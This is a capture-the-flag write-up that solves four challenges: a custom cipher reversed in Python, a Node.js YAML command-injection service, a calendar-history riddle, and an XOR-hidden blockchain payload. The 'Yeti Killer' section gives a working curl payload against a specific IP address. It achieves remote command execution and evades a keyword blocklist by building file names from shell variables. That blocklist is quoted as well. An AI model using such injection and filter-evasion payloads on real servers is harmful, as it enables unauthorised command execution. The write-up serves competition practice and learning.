# Quantum Mirage

Point: 100
Question:
A classified transmission was intercepted during a quantum handshake exchange. The payload appears to be multi-layered and heavily obfuscated. Analysts believe that maybe multiple encryption layers are used, but it's unclear which ones are real and which are decoys.

Message: `FL6gWSgGl71j8RANN2yzz9XckwawQ8MXqE7IAOVygOclZiHgi161L7s=`
File: `D:\project\PythonProject\bdsecCTF\quantum`

See that this string is encoded by a simple algorithm, base on `H` and `G` functions:

```
from Crypto.Util.number import *

import hashlib

import base64

import zlib

from Crypto.Cipher import AES

from Crypto.Random import get_random_bytes



X = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476,

     0xC3D2E1F0, 0x76543210, 0xFEDCBA98, 0x89ABCDEF]



def G(a, b):

    d = a

    for i in range(b):

        if i % 4 == 0:

            d = hashlib.sha256(d).digest()
```

```
        elif i % 4 == 1:
            d = hashlib.blake2b(d, digest_size=32).digest()
        elif i % 4 == 2:
            d = hashlib.md5(d).digest() * 2
        else:
            d = hashlib.sha1(d).digest() + d[:12]
    return d


def H(m, k):
    q = bytearray()
    for i, t in enumerate(m):
        s = (t ^ k[i % len(k)])
        s = ((s << 3) | (s >> 5)) & 0xFF
        s ^= X[i % len(X)] & 0xFF
        q.append(s)
    return bytes(q)


class Y:
    def __init__(self):
        self.a = [
            b"phase_shift_001",
            b"binary_singularity",
            b"entropic_veil_layer",
```

```
            b"qbit_spectrum_field"
        ]
        self.b = b"simple_seed_123"

    def P(self, msg):
        c = G(self.a[0], 10)[:16]
        r1 = base64.b64encode(msg).decode()

        d = G(self.b, 5)
        r2 = H(msg, d)

        e = zlib.compress(r2)

        r3 = r2
        for i in range(3):
            f = G(self.a[i+1], i+1)
            r3 = bytes([(z ^ f[j % len(f)]) for j, z in enumerate(r3)])

        return {
            'x': r1,
            'y': base64.b64encode(r2).decode(),
            'z': base64.b64encode(e).decode(),
            'w': base64.b64encode(r3).decode(),
```

```
            'junk': base64.b64encode(get_random_bytes(64)).decode()
        }


# Challenge Generation
C = Y()
msg = b"BDSEC{Something_like_this}"
R = C.P(msg)



for k, v in R.items():
    output += f"{k}: {v}\n"


output += "entropy_check: [0.7234, 0.8901, 0.6543, 0.9876]\n"
output += "symbol_map: {'A': 12, 'B': 8, 'C': 15, 'D': 9}\n"
output += "known_structure_detected: True\n"
output += "suggested_vector: symbolic_mapping\n"
output += "predicted_block_size: 16\n"
output += "type_inferred: byte_subst\n"
output += f"Source strings: {C.a}\n"
output += f"Magic array: {X}\n"
output += "Hint: Direct path may be surprisingly effective\n"


print(output)
with open('output.txt', 'w') as f:
```

```
    f.write(output)
```

So I can put this into ChatGPT and require to decode:

```
from Crypto.Util.number import *
import hashlib
import base64
X = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476,
     0xC3D2E1F0, 0x76543210, 0xFEDCBA98, 0x89ABCDEF]
def G(a, b):
    d = a
    for i in range(b):
        if i % 4 == 0:
            d = hashlib.sha256(d).digest()
        elif i % 4 == 1:
            d = hashlib.blake2b(d, digest_size=32).digest()
        elif i % 4 == 2:
            d = hashlib.md5(d).digest() * 2
        else:
            d = hashlib.sha1(d).digest() + d[:12]
    return d
def reverse_H(r2, k):
    q = bytearray()
    for i, s in enumerate(r2):
        # Undo XOR with X
        s1 = s ^ (X[i % len(X)] & 0xFF)
        # Undo rotation: s1 = ((s << 3) | (s >> 5)) & 0xFF
        s = ((s1 >> 3) | (s1 << 5)) & 0xFF
        # Undo XOR with key
        q.append(s ^ k[i % len(k)])
    return bytes(q)
# Decode base64 input
enc = "FL6gWSgGl71j8RANN2yzz9XckwawQ8MXqE7IAOVygOclZiHgi161L7s="
r2 = base64.b64decode(enc)
# Compute key
d = G(b"simple_seed_123", 5)
# Reverse H to get msg
msg = reverse_H(r2, d)
print(msg.decode())
```

FLAG: `BDSEC{0bfusc4t10n_c4nn0t_h1d3_b4d_cr7pt0}`

# Yeti Killer

Point: 100
Question:
The devs got lazy and decided to use a simple text-based configuration parser. Unfortunately, they also exposed it to the public. Can you exploit it and find the hidden flag?

The server is expecting a plain text payload, but what happens when you send it some YAML?

Provided: `D:\project\PythonProject\bdsecCTF\player_file`

In `sever.js` I saw this:

```
const data = yaml.load(req.body);
const command = data.command;

#and

if (command) {
    exec(command, ...);
}
```

→ Use `exac` to execute command → RCE

However, this web block several commands to exploit this:

```
if (req.body.includes("flag") || req.body.includes("cat") || ...) {
return res.status(403).send("No flags!");
}
if (req.body.includes("\\") || req.body.includes("/") || ...) {
return res.status(403).send("Hacking attempt detected!");
}
```

→ Cannot use: `flag, cat, curl, wget, echo, \, /, <, !!`

→ Use `curl` to get the flag:

```
curl -X POST http://45.79.9.104:3000/ \
  -H "Content-Type: text/plain" \
  --data-binary $'command: |\n  F=f;L=l;A=a;G=g;T=t;X=x;\n  awk
\x27{print}\x27 "$F$L$A$G.$T$X$T"'

# This can bypass the filter of web by using variables to type "flag.txt"
```

FLAG: `BDSEC{094ae1350eefe059b84faa0bd9ce2588}`

# Riddle of the child

Point: 50

Question:
In the hills of what is now called Italy, near a village long vanished from maps, there was a whisper — a prophecy — that ten days would one day disappear.

The prophecy spoke not of war, nor plague, but of a child born beneath a sky with no shadow.

The village was called Bellombra, and the people there had learned to fear silence.

One autumn evening, the bells rang thirteen times at dusk. A woman in black gave birth beneath the old chapel tree. The child had no cry — only a pulse like thunder.

The next morning, men in Rome sent letters in haste. Monks tore pages from their ledgers. Timekeepers smashed their own sundials.

Ten days never arrived. They were not forgotten — they were stolen.

The elders of Bellombra swore they saw them drifting like smoke into the child’s breath.

No one could say what happened in the days that should have followed. Only that they should have been there.

It was then that a man arrived, cloaked in violet, riding a horse that cast no shadow. He bore no name, only a number sewn in silver across his sleeve: XIII.

Some called him a sorcerer. Others, a scholar. The villagers only called him the Thirteenth.

He spoke not to the people, but to the hour itself. With ink and flame, he sealed something shut — not to fix what had happened, but to keep it from spreading.

"It is done," he said. "The wound cannot be undone. But it can be explained — and remembered."

Before he vanished, he left a single line etched into the chapel stone:

"Mark the last day the world stood whole — for the child took the rest."

Tell me, traveler,

What was the date of birth of the child ?

Flag format : BDSEC{dd_mm_yyyy} For example, if you believe the answer is the 9th of April, 1620, submit: BDSEC{09_04_1620}

→ This relate to a history event

1. `It was then that a man arrived...` → After event happened, there is a huge time variation
2. `The bells rang thirteen times at dusk` → Signaling a supernatural phenomenon occurring
3. `Timekeepers smashed their sundials` → Time is upside down

So from these trace, I remember that in history there was a event that a Pope want to change from Julius calendar to Gregorian calendar (use to now) in 1582

→ In several region, 4/10/1582 immediately followed by 15/10/1582
→ 5/10/1582 to 14/10/1582 was deleted → This is event of 10 days disappeared

# Poisoned Ledger hex

Point: 50

Question: During a routine audit of a private blockchain test network, KSHACKZONE investigator 'B' reported anomalies in a handful of transaction blocks. While most of the ledger appears routine, certain scattered transactions include nonstandard embedded data fields that don’t follow expected formats.

Your task is to examine the chain and recover whatever was silently injected. The payload is likely fragmented — and may be obscured in a way that relates back to the analyst who flagged it.

Flag Format : BDSEC{something_here}

File provided: `D:\project\PythonProject\bdsecCTF\poisoned_ledger`

In this file I see several blocks that different from others:

- Block 101:


```
{
  "block": 101,
  "transactions": [
    {
      "txid": "tx10101",
      "op_return": [
        0,
        6,
        17,
        7,
```

```
          1,
          57,
          0,
          14,
          114,
          1
        ]
      }
    ]
  },
```

- Block 108:

```
  {
    "block": 108,
    "transactions": [
      {
        "txid": "tx10801",
        "op_return": [
          9,
          29,
          1,
          10,
          3,
          11,
          44,
          29,
          6,
          55
        ]
      }
    ]
  },
```

- Block 117

```
  {
    "block": 117,
    "transactions": [
      {
        "txid": "tx11701",
        "op_return": [
          47,
          18,
```

```
            29,
            115,
            119,
            29,
            4,
            55,
            44,
            44,
            27,
            63
          ]
        }
      ]
    },
```

Take the number from these blocks:

```
[
    0, 6, 17, 7, 1, 57, 0, 14, 114, 1,
    9, 29, 1, 10, 3, 11, 44, 29, 6, 55,
    47, 18, 29, 115, 119, 29, 4, 55, 44, 44, 27, 63
]
```

Question have something relate to character "B" $\rightarrow$ This can be a key use for XOR these numbers in other form
Test several form I found I need hex form and write a simple code to XOR it:

```
data = bytes([
    0, 6, 17, 7, 1, 57, 0, 14, 114, 1,
    9, 29, 1, 10, 3, 11, 44, 29, 6, 55,
    47, 18, 29, 115, 119, 29, 4, 55, 44, 44, 27, 63
])

key = 0x42 # This is B hex
decoded = bytes([b ^ key for b in data])

print(decoded.decode("utf-8"))
```

FLAG: `BDSEC{BL0CK_CHAIn_DumP_15_FunnY}`